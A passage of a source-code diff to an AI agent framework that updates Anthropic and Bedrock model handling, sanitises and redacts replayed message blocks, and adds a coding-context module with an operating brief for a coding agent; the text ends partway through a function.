_ANTHROPIC_OUTPUT_LIMITS = {
+ # Mythos-class named models (claude-fable-5, …) — 1M context, reasoning
+ "claude-fable": 128_000,
# Claude 4.8
"claude-opus-4-8": 128_000,
# Claude 4.7
@@ -208,8 +240,17 @@ def _resolve_anthropic_messages_max_tokens(
def _supports_adaptive_thinking(model: str) -> bool:
- """Return True for Claude 4.6+ models that support adaptive thinking."""
- return any(v in model for v in _ADAPTIVE_THINKING_SUBSTRINGS)
+ """Return True for Claude models that use adaptive thinking (4.6+).
+
+ Defaults *unknown* Claude models to adaptive (the modern contract) and
+ only returns False for the explicit legacy list of older Claude families
+ that require manual budget-based thinking. Non-Claude Anthropic-Messages
+ models (minimax, qwen3, …) return False so they keep the manual path.
+ """
+ if not _is_claude_model(model):
+ return False
+ m = model.lower()
+ return not any(v in m for v in _LEGACY_MANUAL_THINKING_CLAUDE_SUBSTRINGS)
def _supports_xhigh_effort(model: str) -> bool:
@@ -219,18 +260,33 @@ def _supports_xhigh_effort(model: str) -> bool:
Pre-4.7 adaptive models (Opus/Sonnet 4.6) only accept low/medium/high/max
and reject xhigh with an HTTP 400. Callers should downgrade xhigh→max
when this returns False.
+
+ Defaults unknown adaptive Claude models to accepting xhigh (4.7+ contract);
+ only the 4.6 family and legacy manual-thinking models are excluded.
"""
- return any(v in model for v in _XHIGH_EFFORT_SUBSTRINGS)
+ if not _supports_adaptive_thinking(model):
+ return False
+ m = model.lower()
+ return not any(v in m for v in _NO_XHIGH_CLAUDE_SUBSTRINGS)
def _forbids_sampling_params(model: str) -> bool:
"""Return True for models that 400 on any non-default temperature/top_p/top_k.
- Opus 4.7 explicitly rejects sampling parameters; later Claude releases are
- expected to follow suit. Callers should omit these fields entirely rather
- than passing zero/default values (the API rejects anything non-null).
+ Opus 4.7 introduced this restriction; later Claude releases follow it.
+ Defaults unknown Claude models to forbidding sampling params (the modern
+ contract). The 4.6 family still accepts them, and the legacy manual-thinking
+ families (4.5 and older) accept them too, so both are excluded. Non-Claude
+ models are unaffected. Callers should omit these fields entirely rather than
+ passing zero/default values (the API rejects anything non-null).
"""
- return any(v in model for v in _NO_SAMPLING_PARAMS_SUBSTRINGS)
+ if not _is_claude_model(model):
+ return False
+ m = model.lower()
+ # 4.6 family is adaptive but still accepts sampling params.
+ if any(v in m for v in _NO_XHIGH_CLAUDE_SUBSTRINGS):
+ return False
+ return not any(v in m for v in _LEGACY_MANUAL_THINKING_CLAUDE_SUBSTRINGS)
def _supports_fast_mode(model: str) -> bool:
@@ -1515,6 +1571,15 @@ def _convert_content_part_to_anthropic(part: Any) -> Optional[Dict[str, Any]]:
if ptype == "input_text":
block: Dict[str, Any] = {"type": "text", "text": part.get("text", "")}
+ elif ptype == "text":
+ # A stored Anthropic text block. Rebuild from whitelisted fields only —
+ # SDK response text blocks carry output-only siblings (parsed_output,
+ # citations=None) that the Messages INPUT schema rejects with HTTP 400
+ # "Extra inputs are not permitted". Do NOT dict(part) it verbatim.
+ block = {"type": "text", "text": part.get("text", "")}
+ cits = part.get("citations")
+ if isinstance(cits, list) and cits:
+ block["citations"] = cits
elif ptype in {"image_url", "input_image"}:
image_value = part.get("image_url", {})
url = image_value.get("url", "") if isinstance(image_value, dict) else str(image_value or "")
@@ -1629,6 +1694,58 @@ def _content_parts_to_anthropic_blocks(parts: Any) -> List[Dict[str, Any]]:
return out
+def _sanitize_replay_block(b: Dict[str, Any]) -> Optional[Dict[str, Any]]:
+ """Strip output-only fields from a stored Anthropic content block so it is
+ valid as REQUEST input on replay.
+
+ The SDK response objects carry output-only attributes that the Messages
+ *input* schema forbids ("Extra inputs are not permitted"): text blocks get
+ ``parsed_output``/``citations`` (when null), tool_use blocks get ``caller``,
+ etc. ``normalize_response`` captured blocks verbatim via ``_to_plain_data``,
+ so these leak back as input on the next turn → HTTP 400.
+
+ Whitelist per type (NOT a blacklist) so future SDK output-only fields can't
+ reintroduce the bug. Returns a clean block, or None to drop it.
+ """
+ if not isinstance(b, dict):
+ return None
+ btype = b.get("type")
+ if btype == "text":
+ out: Dict[str, Any] = {"type": "text", "text": b.get("text", "")}
+ # citations is input-valid ONLY when it's a non-empty list; the SDK
+ # emits citations=None on responses, which the input schema rejects.
+ cits = b.get("citations")
+ if isinstance(cits, list) and cits:
+ out["citations"] = cits
+ if isinstance(b.get("cache_control"), dict):
+ out["cache_control"] = b["cache_control"]
+ return out
+ if btype == "thinking":
+ out = {"type": "thinking", "thinking": b.get("thinking", "")}
+ if b.get("signature"):
+ out["signature"] = b["signature"]
+ return out
+ if btype == "redacted_thinking":
+ # Only valid with its data payload; drop if missing.
+ return {"type": "redacted_thinking", "data": b["data"]} if b.get("data") else None
+ if btype == "tool_use":
+ out = {
+ "type": "tool_use",
+ "id": _sanitize_tool_id(b.get("id", "")),
+ "name": b.get("name", ""),
+ "input": b.get("input", {}),
+ }
+ if isinstance(b.get("cache_control"), dict):
+ out["cache_control"] = b["cache_control"]
+ return out
+ if btype == "image":
+ src = b.get("source")
+ return {"type": "image", "source": src} if isinstance(src, dict) else None
+ # Unknown/unsupported block type on the input path — drop rather than risk
+ # another "Extra inputs are not permitted".
+ return None
+
+
def _convert_assistant_message(m: Dict[str, Any]) -> Dict[str, Any]:
"""Convert an assistant message to Anthropic content blocks.
@@ -1636,6 +1753,55 @@ def _convert_assistant_message(m: Dict[str, Any]) -> Dict[str, Any]:
reasoning_content injection for Kimi/DeepSeek endpoints.
"""
content = m.get("content", "")
+ # Anthropic interleaved-thinking fast path: when this turn carries a
+ # verbatim, order-preserving block list (set by normalize_response only
+ # for turns that interleave SIGNED thinking with tool_use), replay it.
+ # Each block is run through _sanitize_replay_block to strip output-only
+ # SDK fields (parsed_output, caller, citations=None, …) that the Messages
+ # INPUT schema forbids — replaying them verbatim caused HTTP 400 "Extra
+ # inputs are not permitted" (text.parsed_output). Block ORDER is preserved
+ # (the reason this channel exists); only forbidden sibling fields are
+ # dropped, leaving thinking signatures and tool_use id/name/input intact.
+ ordered_blocks = m.get("anthropic_content_blocks")
+ if isinstance(ordered_blocks, list) and ordered_blocks:
+ # Re-source each tool_use input from the stored tool_calls map rather
+ # than the captured block. The ordered-blocks list captures tool_use
+ # input from the RAW API response (normalize_response), which is NOT
+ # credential-redacted; tool_calls[].function.arguments IS redacted at
+ # storage time (build_assistant_message, #19798). Replaying the raw
+ # block input would resurrect a secret the model inlined into a tool
+ # call (e.g. terminal(command="curl -H 'Authorization: Bearer sk-...'")
+ # onto the wire, even though the same value is redacted everywhere else
+ # in history. Keying by sanitized tool id preserves interleave order
+ # (the reason this channel exists) while swapping in the redacted
+ # input. Adapted from #36071 (replay-time tool-input re-sourcing).
+ redacted_input_by_id: Dict[str, Any] = {}
+ for tc in m.get("tool_calls", []) or []:
+ if not isinstance(tc, dict):
+ continue
+ fn = tc.get("function", {}) or {}
+ raw_args = fn.get("arguments", "{}")
+ try:
+ parsed_args = json.loads(raw_args) if isinstance(raw_args, str) else raw_args
+ except (json.JSONDecodeError, ValueError):
+ parsed_args = {}
+ redacted_input_by_id[_sanitize_tool_id(tc.get("id", ""))] = parsed_args
+ replayed: List[Dict[str, Any]] = []
+ for b in ordered_blocks:
+ clean = _sanitize_replay_block(b)
+ if clean is None:
+ continue
+ if clean.get("type") == "tool_use":
+ # Override raw (un-redacted) input with the redacted copy when
+ # we have one for this id; fall back to the sanitized block
+ # input only if the tool_call is missing (shape mismatch).
+ redacted = redacted_input_by_id.get(clean.get("id", ""))
+ if redacted is not None:
+ clean["input"] = redacted
+ replayed.append(clean)
+ if replayed:
+ return {"role": "assistant", "content": replayed}
+
blocks = _extract_preserved_thinking_blocks(m)
if content:
if isinstance(content, list):
diff --git a/agent/auxiliary_client.py b/agent/auxiliary_client.py
index c47c3a4a1d26..c6e00340e7e1 100644
--- a/agent/auxiliary_client.py
+++ b/agent/auxiliary_client.py
@@ -102,7 +102,7 @@ def __repr__(self):
from agent.credential_pool import load_pool
from hermes_cli.config import get_hermes_home
from hermes_constants import OPENROUTER_BASE_URL
-from utils import base_url_host_matches, base_url_hostname, normalize_proxy_env_vars
+from utils import base_url_host_matches, base_url_hostname, model_forces_max_completion_tokens, normalize_proxy_env_vars
logger = logging.getLogger(__name__)
@@ -4300,13 +4300,15 @@ def get_auxiliary_extra_body() -> dict:
return _nous_extra_body() if auxiliary_is_nous else {}
-def auxiliary_max_tokens_param(value: int) -> dict:
+def auxiliary_max_tokens_param(value: int, *, model: Optional[str] = None) -> dict:
"""Return the correct max tokens kwarg for the auxiliary client's provider.
-
+
OpenRouter and local models use 'max_tokens'. Direct OpenAI with newer
- models (gpt-4o, o-series, gpt-5+) requires 'max_completion_tokens'.
+ models (gpt-4o, gpt-4.1, gpt-5+, o-series) requires 'max_completion_tokens'.
The Codex adapter translates max_tokens internally, so we use max_tokens
- for it as well.
+ for it as well. Pass ``model`` so third-party OpenAI-compatible endpoints
+ fronting the newer families are also recognised — URL-only detection
+ misses the case where a custom base URL serves e.g. ``gpt-5.4``.
"""
custom_base = _current_custom_base_url()
or_key = os.getenv("OPENROUTER_API_KEY")
@@ -4316,6 +4318,9 @@ def auxiliary_max_tokens_param(value: int) -> dict:
and _read_nous_auth() is None
and base_url_hostname(custom_base) in {"api.openai.com", "api.githubcopilot.com"}):
return {"max_completion_tokens": value}
+ # ...and for any caller serving a newer OpenAI-family model by name.
+ if model_forces_max_completion_tokens(model):
+ return {"max_completion_tokens": value}
return {"max_tokens": value}
diff --git a/agent/bedrock_adapter.py b/agent/bedrock_adapter.py
index 12c7afb8c187..e3abba8436f7 100644
--- a/agent/bedrock_adapter.py
+++ b/agent/bedrock_adapter.py
@@ -208,6 +208,41 @@ def is_stale_connection_error(exc: BaseException) -> bool:
return False
+def is_streaming_access_denied_error(exc: BaseException) -> bool:
+ """Return True when AWS denied the ``bedrock:InvokeModelWithResponseStream`` action.
+
+ IAM policies scoped to ``bedrock:InvokeModel`` only (a common least-privilege
+ setup) reject ``converse_stream()`` with an ``AccessDeniedException`` whose
+ message names the streaming action, e.g.::
+
+ User: arn:aws:iam::123456789012:user/x is not authorized to perform:
+ bedrock:InvokeModelWithResponseStream on resource: ...
+
+ This is permanent for the session — retrying the stream can never succeed —
+ so callers should flip to the non-streaming ``converse()`` path (which maps
+ to ``bedrock:InvokeModel``) instead of burning retries.
+
+ Detection is deliberately message-based: boto3 surfaces this as a
+ ``ClientError`` with ``Error.Code == "AccessDeniedException"``, and the
+ AnthropicBedrock SDK wraps the same AWS response in its own exception
+ types, but both preserve the action name in the message.
+ """
+ msg = str(exc).lower()
+ if "invokemodelwithresponsestream" not in msg:
+ return False
+ # ClientError with an explicit access-denied code is the canonical form.
+ try:
+ from botocore.exceptions import ClientError
+ except ImportError: # pragma: no cover — botocore always present with boto3
+ ClientError = None # type: ignore[assignment]
+ if ClientError is not None and isinstance(exc, ClientError):
+ code = (getattr(exc, "response", None) or {}).get("Error", {}).get("Code", "")
+ return code in ("AccessDeniedException", "UnauthorizedException")
+ # Wrapped forms (e.g. AnthropicBedrock SDK PermissionDeniedError) — match
+ # on the authorization-failure phrasing AWS uses.
+ return "not authorized" in msg or "accessdenied" in msg
+
+
# ---------------------------------------------------------------------------
# AWS credential detection
# ---------------------------------------------------------------------------
@@ -1003,6 +1038,16 @@ def call_converse_stream(
try:
response = client.converse_stream(**kwargs)
except Exception as exc:
+ if is_streaming_access_denied_error(exc):
+ # IAM allows bedrock:InvokeModel but not
+ # InvokeModelWithResponseStream — permanent for this session.
+ # Fall back to the non-streaming converse() path.
+ logger.info(
+ "bedrock: converse_stream denied by IAM on (region=%s, model=%s) — "
+ "falling back to non-streaming converse().",
+ region, model,
+ )
+ return normalize_converse_response(client.converse(**kwargs))
if is_stale_connection_error(exc):
logger.warning(
"bedrock: stale-connection error on converse_stream(region=%s, "
diff --git a/agent/chat_completion_helpers.py b/agent/chat_completion_helpers.py
index ce066d55640c..1ee1702b45e8 100644
--- a/agent/chat_completion_helpers.py
+++ b/agent/chat_completion_helpers.py
@@ -952,6 +952,18 @@ def build_assistant_message(agent, assistant_message, finish_reason: str) -> dic
if preserved:
msg["reasoning_details"] = preserved
+ # Anthropic interleaved-thinking replay: when a turn interleaves signed
+ # thinking blocks with tool_use, the parallel reasoning_details +
+ # tool_calls fields lose the cross-type ordering, and reconstruction
+ # front-loads thinking — reordering signed blocks and triggering HTTP 400
+ # ("thinking ... blocks in the latest assistant message cannot be
+ # modified"). Carry the verbatim ordered block list so the adapter can
+ # replay the latest assistant message unchanged. See
+ # agent/transports/anthropic.py and agent/anthropic_adapter.py.
+ ordered_blocks = getattr(assistant_message, "anthropic_content_blocks", None)
+ if ordered_blocks:
+ msg["anthropic_content_blocks"] = ordered_blocks
+
# Codex Responses API: preserve encrypted reasoning items for
# multi-turn continuity. These get replayed as input on the next turn.
codex_items = getattr(assistant_message, "codex_reasoning_items", None)
@@ -1603,6 +1615,8 @@ def _bedrock_call():
_get_bedrock_runtime_client,
invalidate_runtime_client,
is_stale_connection_error,
+ is_streaming_access_denied_error,
+ normalize_converse_response,
stream_converse_with_callbacks,
)
region = api_kwargs.pop("__bedrock_region__", "us-east-1")
@@ -1611,6 +1625,29 @@ def _bedrock_call():
try:
raw_response = client.converse_stream(**api_kwargs)
except Exception as _bedrock_exc:
+ # IAM policies scoped to bedrock:InvokeModel only (no
+ # InvokeModelWithResponseStream) reject converse_stream()
+ # with AccessDeniedException. That denial is permanent for
+ # the session — fall back to the non-streaming converse()
+ # inline (it maps to bedrock:InvokeModel) and disable
+ # streaming for subsequent calls so we don't re-fail every
+ # turn.
+ if is_streaming_access_denied_error(_bedrock_exc):
+ agent._disable_streaming = True
+ agent._safe_print(
+ "\n⚠ AWS IAM denied bedrock:InvokeModelWithResponseStream — "
+ "falling back to non-streaming InvokeModel.\n"
+ " Grant that action to restore streaming output.\n"
+ )
+ logger.info(
+ "bedrock: converse_stream denied by IAM (%s) — "
+ "using non-streaming converse() for this session.",
+ type(_bedrock_exc).__name__,
+ )
+ result["response"] = normalize_converse_response(
+ client.converse(**api_kwargs)
+ )
+ return
# Evict the cached client on stale-connection failures
# so the outer retry loop builds a fresh client/pool.
if is_stale_connection_error(_bedrock_exc):
@@ -1698,6 +1735,14 @@ def _close_request_client_once(reason: str) -> None:
# poll loop uses this to detect stale connections that keep receiving
# SSE keep-alive pings but no actual data.
last_chunk_time = {"t": time.time()}
+ # Stale-stream patience, shared between the httpx socket read timeout
+ # (built in ``_call_chat_completions`` below) and the stale-stream detector
+ # (computed further down, before the worker thread starts). Initialized
+ # here so the read-timeout builder can floor itself at the stale value and
+ # never fire before the detector. ``None`` until the detector value is
+ # resolved, so the builder degrades to its plain default if it ever runs
+ # first.
+ _stream_stale_timeout = None
def _fire_first_delta():
if not first_delta_fired["done"] and on_first_delta:
@@ -1734,6 +1779,26 @@ def _call_chat_completions():
"Local provider detected (%s) — stream read timeout raised to %.0fs",
agent.base_url, _stream_read_timeout,
)
+ elif (
+ _stream_read_timeout == 120.0
+ and _stream_stale_timeout is not None
+ and _stream_stale_timeout != float("inf")
+ and _stream_stale_timeout > _stream_read_timeout
+ ):
+ # Cloud reasoning models (e.g. Opus) routinely pause mid-stream
+ # for minutes during extended thinking. The stale-stream
+ # detector is deliberately scaled up to tolerate this (180–300s,
+ # see the stale-timeout block below), but the raw httpx socket
+ # read timeout defaulted to a flat 120s and fired *first* —
+ # tearing down a healthy reasoning stream before the stale
+ # detector (which owns retry + diagnostics) could act. Keep the
+ # socket read timeout in step with the detector so it no longer
+ # preempts it.
+ _stream_read_timeout = _stream_stale_timeout
+ logger.debug(
+ "Cloud reasoning stream — read timeout raised to %.0fs to "
+ "match stale-stream detector", _stream_read_timeout,
+ )
# Cap connect/pool at 60s even when provider timeout is higher.
# connect/pool cover TCP handshake, not model inference.
_conn_cap = min(_base_timeout, 60.0) if _provider_timeout_cfg is not None else 30.0
@@ -2384,9 +2449,34 @@ def _call():
"stream" in _err_lower
and "not supported" in _err_lower
)
- if _is_stream_unsupported:
+ # AWS Bedrock (AnthropicBedrock SDK path): IAM policies
+ # with bedrock:InvokeModel but not
+ # InvokeModelWithResponseStream reject messages.stream()
+ # with a permission error naming the streaming action.
+ # Permanent for the session — flip to non-streaming
+ # (messages.create() maps to bedrock:InvokeModel).
+ _is_bedrock_stream_denied = False
+ if (
+ not _is_stream_unsupported
+ and "invokemodelwithresponsestream" in _err_lower
+ ):
+ # Cheap message pre-check before importing the
+ # adapter — bedrock_adapter triggers a lazy boto3
+ # install at import time, which must not run for
+ # unrelated providers' stream errors.
+ from agent.bedrock_adapter import (
+ is_streaming_access_denied_error,
+ )
+ _is_bedrock_stream_denied = (
+ is_streaming_access_denied_error(e)
+ )
+ if _is_stream_unsupported or _is_bedrock_stream_denied:
agent._disable_streaming = True
agent._safe_print(
+ "\n⚠ AWS IAM denied bedrock:InvokeModelWithResponseStream. "
+ "Switching to non-streaming.\n"
+ " Grant that action to restore streaming output.\n"
+ if _is_bedrock_stream_denied else
"\n⚠ Streaming is not supported for this "
"model/provider. Switching to non-streaming.\n"
" To avoid this delay, set display.streaming: false "
diff --git a/agent/codex_responses_adapter.py b/agent/codex_responses_adapter.py
index 943131f55924..a2678a6da362 100644
--- a/agent/codex_responses_adapter.py
+++ b/agent/codex_responses_adapter.py
@@ -127,14 +127,21 @@ def _chat_content_to_responses_parts(content: Any, *, role: str = "user") -> Lis
return converted
-def _summarize_user_message_for_log(content: Any) -> str:
- """Return a short text summary of a user message for logging/trajectory.
+def _summarize_user_message_for_log(content: Any, *, sep: str = " ") -> str:
+ """Flatten message content to a plain-text summary.
Multimodal messages arrive as a list of ``{type:"text"|"image_url", ...}``
- parts from the API server. Logging, spinner previews, and trajectory
- files all want a plain string — this helper extracts the first chunk of
- text and notes any attached images. Returns an empty string for empty
- lists and ``str(content)`` for unexpected scalar types.
+ parts from the API server. Several consumers want a plain string:
+
+ - Logging, spinner previews, and trajectory files (the default ``sep=" "``).
+ - External memory providers, which feed the text to regexes
+ (``sanitize_context``) and text APIs — a raw list crashes the sync with
+ ``expected string or bytes-like object, got 'list'`` (use ``sep="\\n"``).
+
+ Text parts are joined with ``sep``; images become a ``[N image(s)]`` marker
+ so the turn isn't recorded as if the attachment never existed. Returns an
+ empty string for empty lists and ``str(content)`` for unexpected scalar
+ types.
"""
if content is None:
return ""
@@ -157,7 +164,7 @@ def _summarize_user_message_for_log(content: Any) -> str:
text_bits.append(text)
elif ptype in {"image_url", "input_image"}:
image_count += 1
- summary = " ".join(text_bits).strip()
+ summary = sep.join(text_bits).strip()
if image_count:
note = f"[{image_count} image{'s' if image_count != 1 else ''}]"
summary = f"{note} {summary}" if summary else note
diff --git a/agent/coding_context.py b/agent/coding_context.py
new file mode 100644
index 000000000000..ede0dc1528ab
--- /dev/null
+++ b/agent/coding_context.py
@@ -0,0 +1,738 @@
+"""Coding-context awareness — base Hermes, every interactive surface.
+
+When the user runs Hermes inside a code workspace (CLI, TUI, desktop app, or an
+editor over ACP), Hermes shifts into a **coding posture**. This module is the
+single place that decides whether we're in that posture and what it implies,
+so the rest of the codebase never re-derives "are we coding?" on its own.
+
+Architecture — one seam, many consumers
+----------------------------------------
+The posture is modelled as a frozen :class:`RuntimeMode` selected from a small
+:class:`ContextProfile` registry (today: ``coding`` and ``general``). A profile
+is *data* — it declares the toolset to collapse to, the operating brief to
+inject, and hints for other domains (model routing, memory, subagents). Every
+domain reads the same resolved object instead of probing git/config itself:
+
+ * **System prompt** — ``RuntimeMode.system_blocks()`` → the operating brief +
+ a live git/workspace snapshot (``agent/system_prompt.py``).
+ * **Toolset** — ``RuntimeMode.toolset_selection()`` → the ``coding`` toolset
+ plus the user's enabled MCP servers (``cli.py`` / ``tui_gateway``). Only
+ under the opt-in ``focus`` mode: the default posture is prompt-only and
+ never touches the user's configured toolsets (toolsets like messaging /
+ smart-home / music are off-by-default anyway, and someone who explicitly
+ enabled image-gen or Spotify shouldn't lose it for being in a git repo).
+ * **Delegation** — subagents inherit the parent's toolset and run through the
+ same prompt builder, so the coding posture propagates to children for free.
+ * **Model / memory / compression** — declared on the profile
+ (``model_hint``, ``memory_policy``) as the extension seam; consumers read
+ ``mode.profile`` rather than re-deciding.
+
+Cache safety
+------------
+The mode is resolved **once** and is immutable. The workspace snapshot is built
+once at prompt-build time and baked into the *stable* system-prompt tier — never
+re-probed per turn (that would shatter the prompt cache). Branch and dirty state
+drift mid-session, so the brief tells the model to re-check with ``git`` before
+acting on the snapshot. A ``/coding`` flip therefore only takes effect next
+session (deferred), the same contract as ``/skills install`` vs ``--now``.
+
+Activation (config ``agent.coding_context``):
+
+ * ``auto`` (default) — posture (brief + snapshot) on an interactive coding
+ surface sitting in a code workspace (git repo or recognised project root).
+ Prompt-only; toolsets and the skill index untouched.
+ * ``focus`` — like ``auto``, but additionally collapses the toolset to the
+ ``coding`` set + enabled MCP servers and demotes non-coding skill
+ categories to names-only in the prompt's skill index (no skill is ever
+ hidden). Explicit opt-in for a lean schema.
+ * ``on`` — force the posture anywhere (incl. non-workspaces). Prompt-only.
+ * ``off`` — disable entirely.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import os
+import re
+import subprocess
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any, Optional
+
+logger = logging.getLogger("hermes.coding_context")
+
+CODING_TOOLSET = "coding"
+
+# Surfaces where a coding posture makes sense under ``auto``. Messaging
+# platforms (telegram, discord, slack, …) are intentionally absent — a chat bot
+# in a group is not pair-programming.
+INTERACTIVE_CODING_PLATFORMS = {"cli", "tui", "acp", "desktop", ""}
+
+# Project-root signals that mark a directory as a code workspace even when it
+# isn't (yet) a git repo. Cheap filename checks — no parsing.
+_PROJECT_MARKERS = (
+ "pyproject.toml", "setup.py", "setup.cfg", "requirements.txt",
+ "package.json", "tsconfig.json", "deno.json",
+ "Cargo.toml", "go.mod", "pom.xml", "build.gradle", "build.gradle.kts",
+ "Gemfile", "composer.json", "mix.exs", "pubspec.yaml",
+ "CMakeLists.txt", "Makefile", "Dockerfile",
+ "AGENTS.md", "CLAUDE.md", ".cursorrules",
+)
+
+# Agent-instruction files surfaced separately from manifests in the snapshot.
+_CONTEXT_FILES = ("AGENTS.md", "CLAUDE.md", ".cursorrules")
+
+# Lockfile → package manager, checked in priority order.
+_PY_LOCKFILES = (("uv.lock", "uv"), ("poetry.lock", "poetry"), ("Pipfile.lock", "pipenv"))
+_JS_LOCKFILES = (
+ ("pnpm-lock.yaml", "pnpm"), ("bun.lockb", "bun"), ("bun.lock", "bun"),
+ ("yarn.lock", "yarn"), ("package-lock.json", "npm"),
+)
+
+# package.json scripts / Makefile targets worth surfacing as verify commands.
+_VERIFY_TARGETS = ("test", "tests", "lint", "typecheck", "check", "build", "fmt", "format")
+_MAX_VERIFY_COMMANDS = 8
+_MAX_FACT_FILE_BYTES = 256 * 1024
+
+_GIT_TIMEOUT = 2.5
+
+
+# Per-model edit-format steering. Matching the edit tool format to how a model
+# was trained reduces mistakes and wasted reasoning (OpenAI/Codex handle
+# patch-style diffs best; Anthropic models — and most open-weight coding
+# models, whose RL scaffolds use str_replace-style editors — do best with
+# string-replacement). Our `patch` tool exposes both: mode="patch" (V4A
+# multi-file) and mode="replace" (find-and-swap). We nudge each family toward
+# its native format. Unknown families get nothing (the brief's neutral wording
+# stands). Substrings match the model id; aligned with TOOL_USE_ENFORCEMENT_MODELS.
+#
+# GPT/Codex get V4A for ALL edits, single-file included: in codex-rs,
+# apply_patch (V4A — apply_patch.lark) is the ONLY file editor, no
+# str_replace-style tool exists, and the shipped model prompts say to use
+# apply_patch even "for single file edits" — so a replace-mode nudge would
+# steer those models toward a format their first-party harness never taught
+# them.
+_EDIT_FORMAT_GUIDANCE: dict[str, tuple[tuple[str, ...], str]] = {
+ "patch": (
+ ("gpt", "codex"),
+ "- Edit format: author new files with `write_file`; for edits to "
+ "existing code use `patch` with `mode='patch'` (V4A diff) — including "
+ "single-file edits. It's the edit format you handle most reliably.",
+ ),
+ "replace": (
+ ("claude", "sonnet", "opus", "haiku",
+ "gemini", "gemma", "deepseek", "qwen", "kimi", "glm", "grok",
+ "hermes", "llama", "mistral", "devstral", "minimax"),
+ "- Edit format: author new files with `write_file`; for edits to "
+ "existing code prefer `patch` in `mode='replace'` — match a unique "
+ "snippet and swap it. Reach for `mode='patch'` (V4A) only when an edit "
+ "genuinely spans several files at once.",
+ ),
+}
+
+
+def _model_family(model: Optional[str]) -> Optional[str]:
+ """Classify a model id into an edit-format family key, or ``None``.
+
+ Used to steer the coding posture toward the edit tool format a model was
+ trained on. Family-agnostic by design: an unrecognised model gets ``None``
+ and the operating brief's neutral edit wording applies.
+ """
+ if not model:
+ return None
+ lowered = model.lower()
+ for family, (needles, _line) in _EDIT_FORMAT_GUIDANCE.items():
+ if any(n in lowered for n in needles):
+ return family
+ return None
+
+
+def _edit_format_line(model: Optional[str]) -> str:
+ """The edit-format guidance line for this model's family (``""`` if none)."""
+ family = _model_family(model)
+ if family is None:
+ return ""
+ return _EDIT_FORMAT_GUIDANCE[family][1]
+
+
+# Operating brief for the coding posture. Tool names referenced here (read_file,
+# search_files, patch, write_file, terminal, todo) are in the coding toolset and
+# in _HERMES_CORE_TOOLS, so they're present on every surface this fires on.
+CODING_AGENT_GUIDANCE = (
+ "You are a coding agent pairing with the user inside their codebase. "
+ "Operate like a careful senior engineer.\n"
+ "\n"
+ "Gather context first:\n"
+ "- Read the relevant files with `read_file` and locate code with "
+ "`search_files` before changing anything. Trace a symbol to its definition "
+ "and usages rather than guessing its shape.\n"
+ "- Batch independent lookups: when several reads/searches don't depend on "
+ "each other, issue them together in one turn instead of one at a time.\n"
+ "- Never invent files, symbols, APIs, or imports. If you haven't seen it in "
+ "the repo, go look. Don't assume a library is available — check the project "
+ "manifest (pyproject.toml / package.json / Cargo.toml / go.mod) and how "
+ "neighbouring files import it.\n"
+ "\n"
+ "Make changes through the tools, not the chat:\n"
+ "- Edit with `patch`/`write_file`. Do NOT print code blocks to the user as "
+ "a substitute for editing — apply the change, then summarise it. Only show "
+ "code when the user explicitly asks to see it.\n"
+ "- Match the project's existing style and conventions; AGENTS.md / "
+ "CLAUDE.md / .cursorrules already in context win over your defaults. Touch "
+ "only what the task needs — no drive-by refactors, renames, or reformatting "
+ "— and add any imports/dependencies your code requires.\n"
+ "- If an edit fails to apply, re-read the file to get the current exact "
+ "contents before retrying — don't repeat a stale patch. If the same region "
+ "fails twice, rewrite the enclosing function or file with `write_file` "
+ "instead of attempting a third patch.\n"
+ "\n"
+ "Verify, and know when to stop:\n"
+ "- Use `terminal` for git, builds, tests, and inspection. Run the relevant "
+ "tests/linter/build and confirm they pass before claiming the work is done.\n"
+ "- Terminal state persists across calls: current directory and exported "
+ "environment variables carry forward. Activate a virtualenv or export setup "
+ "vars once, then reuse that state instead of re-sourcing it before every "
+ "test command.\n"
+ "- Fix root causes, not symptoms: when you find a bug, check sibling call "
+ "paths for the same flaw and fix the class, not just the reported site.\n"
+ "- When fixing linter/type errors on a file, stop after about three "
+ "attempts on the same file and ask the user rather than looping.\n"
+ "- Track multi-step work with `todo`. Reference code as `path:line` instead "
+ "of pasting whole files.\n"
+ "\n"
+ "Respect the user's repo: don't commit, push, or rewrite history unless "
+ "asked, and never read, print, or commit secrets — leave `.env` and "
+ "credential files alone unless the user explicitly asks. The Workspace "
+ "block below is a snapshot from session start — re-run `git status`/"
+ "`git branch` before relying on it. Be concise: lead with the change or "
+ "answer, not a preamble."
+)
+
+
+# ── Context profiles (declarative posture definitions) ──────────────────────
+
+
+@dataclass(frozen=True)
+class ContextProfile:
+ """A named operating posture. Pure data — consumers read these fields.
+
+ ``toolset`` — collapse to this toolset (+ enabled MCP) when no explicit
+ selection is pinned; ``None`` keeps the platform default.
+ ``guidance`` — operating brief injected into the stable system prompt;
+ ``""`` injects nothing.
+ ``model_hint`` — routing preference key for smart model routing
+ (extension seam; not yet consumed by the router).
+ ``memory_policy``— memory namespace/weighting hint (extension seam).
+ ``compact_skill_categories`` — skill categories DEMOTED to names-only in
+ the system-prompt skill index under the opt-in ``focus``
+ mode. Never hidden: every skill name stays visible
+ (so memory-anchored recall keeps working) — only the
+ descriptions are dropped to cut index noise. Deny-list
+ semantics so unknown/custom categories keep full
+ entries.
+ """
+
+ name: str
+ toolset: Optional[str] = None
+ guidance: str = ""
+ model_hint: Optional[str] = None
+ memory_policy: str = "default"
+ compact_skill_categories: tuple[str, ...] = ()
+
+
+# Skill categories that are clearly not part of a coding workflow. Demoted to
+# names-only in the prompt's skill index under the opt-in ``focus`` mode only
+# (deny-list — anything not listed here, incl. custom user categories, keeps
+# full entries). Coding-adjacent categories (devops, github, mcp,
+# data-science, diagramming, research, security, …) are intentionally absent.
+_NON_CODING_SKILL_CATEGORIES = (
+ "apple", "communication", "cooking", "creative", "email", "finance",
+ "gaming", "gifs", "health", "media", "music", "note-taking",
+ "productivity", "shopping", "smart-home", "social-media", "travel",
+ "yuanbao",
+)
+
+
+GENERAL_PROFILE = ContextProfile(name="general")
+CODING_PROFILE = ContextProfile(
+ name="coding",
+ toolset=CODING_TOOLSET,
+ guidance=CODING_AGENT_GUIDANCE,
+ model_hint="coding",
+ memory_policy="project",
+ compact_skill_categories=_NON_CODING_SKILL_CATEGORIES,
+)
+
+_PROFILES: dict[str, ContextProfile] = {
+ GENERAL_PROFILE.name: GENERAL_PROFILE,
+ CODING_PROFILE.name: CODING_PROFILE,
+}
+
+
+def get_profile(name: str) -> ContextProfile:
+ """Return a registered profile, falling back to ``general``."""
+ return _PROFILES.get(name, GENERAL_PROFILE)
+
+
+# ── Helpers ─────────────────────────────────────────────────────────────────
+
+
+def _coding_mode(config: Optional[dict[str, Any]]) -> str:
